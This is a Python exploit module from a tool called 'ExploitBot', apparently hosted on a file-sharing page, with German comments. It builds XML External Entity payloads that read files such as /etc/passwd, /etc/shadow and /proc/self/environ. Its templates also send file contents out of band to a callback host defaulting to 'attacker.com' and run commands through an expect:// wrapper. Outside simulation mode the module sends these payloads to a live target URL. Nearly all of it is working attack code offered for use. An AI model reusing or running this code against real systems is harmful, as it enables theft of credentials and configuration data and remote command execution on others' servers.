Buckets:

download
raw
5.72 kB
#!/usr/bin/env python3
"""
XXE Exploit Module
==================
Exploit-Modul für XML External Entity Schwachstellen
Unterstützt:
- In-band XXE
- Out-of-band (OOB) XXE
- Error-based XXE
- Blind XXE
Author: ExploitBot Development Team
Version: 1.0.0
"""
import sys
from typing import Any, Dict
sys.path.append("..")
from exploit_bot import (
ExecutionMode,
ExploitModule,
ExploitPayload,
ExploitResult,
ExploitType,
VulnerabilityContext,
)
class XXEModule(ExploitModule):
"""XXE Exploit Modul"""
def __init__(self):
super().__init__(name="XXEModule", exploit_type=ExploitType.XXE)
# XXE Payload Templates
self.xxe_templates = {
"basic": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file://{file}">
]>
<foo>&xxe;</foo>""",
"oob": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://{callback_server}/{file}">
%xxe;
]>
<foo>test</foo>""",
"error_based": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///nonexistent/{file}">
]>
<foo>&xxe;</foo>""",
"php_wrapper": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource={file}">
]>
<foo>&xxe;</foo>""",
"expect_wrapper": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://{command}">
]>
<foo>&xxe;</foo>""",
}
# Standard-Zieldateien
self.target_files = [
"/etc/passwd",
"/etc/hosts",
"/etc/shadow",
"/proc/self/environ",
"/proc/version",
"/var/www/html/config.php",
]
async def develop_exploit(self, context: VulnerabilityContext) -> Dict[str, Any]:
"""Entwickelt einen XXE Exploit"""
xxe_type = context.target_info.get("type", "basic")
exploit = {
"type": "xxe",
"xxe_type": xxe_type,
"target_url": context.target_url,
"templates": self.xxe_templates,
"target_files": self.target_files,
"capabilities": [
"file_read",
"ssrf",
"denial_of_service",
"remote_code_execution",
],
"severity": context.severity.name,
}
return exploit
async def generate_payload(self, context: VulnerabilityContext) -> ExploitPayload:
"""Generiert einen XXE Payload"""
xxe_type = context.target_info.get("type", "basic")
target_file = context.target_info.get("target_file", "/etc/passwd")
callback_server = context.target_info.get("callback_server", "attacker.com")
template = self.xxe_templates.get(xxe_type, self.xxe_templates["basic"])
if xxe_type == "oob":
raw_payload = template.format(
callback_server=callback_server,
file=target_file.replace("/", "-"),
)
elif xxe_type == "expect_wrapper":
command = context.target_info.get("command", "id")
raw_payload = template.format(command=command)
else:
raw_payload = template.format(file=target_file)
return ExploitPayload(
payload_id=f"XXE-{xxe_type.upper()}",
exploit_type=ExploitType.XXE,
payload_data=raw_payload,
encoding="raw",
metadata={
"type": xxe_type,
"target_file": target_file,
"callback_server": (callback_server if xxe_type == "oob" else None),
},
)
async def execute(
self,
context: VulnerabilityContext,
payload: ExploitPayload,
mode: ExecutionMode = ExecutionMode.SIMULATION,
) -> ExploitResult:
"""Führt den XXE Exploit aus"""
import time
start_time = time.time()
if mode == ExecutionMode.SIMULATION:
return ExploitResult(
exploit_id=f"XXE-{self.module_id}",
success=True,
status="simulated",
output=f"Simulierter XXE mit Payload: {payload.payload_data[:50]}...",
evidence={"payload": payload.payload_data},
duration_ms=(time.time() - start_time) * 1000,
)
try:
import aiohttp
headers = {**context.headers, "Content-Type": "application/xml"}
async with aiohttp.ClientSession() as session:
async with session.post(
context.target_url,
data=payload.payload_data,
headers=headers,
timeout=aiohttp.ClientTimeout(total=30),
) as response:
response_text = await response.text()
return ExploitResult(
exploit_id=f"XXE-{self.module_id}",
success=True,
status="executed",
output=response_text[:1000],
evidence={
"status_code": response.status,
"response_length": len(response_text),
},
duration_ms=(time.time() - start_time) * 1000,
)
except Exception as e:
return ExploitResult(
exploit_id=f"XXE-{self.module_id}",
success=False,
status="error",
error_message=str(e),
duration_ms=(time.time() - start_time) * 1000,
)

Xet Storage Details

Size:
5.72 kB
·
Xet hash:
6fb8833b2b025be1f63eb2284d2b0526317d92f22674ad575c61cab9ebe83c16

Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.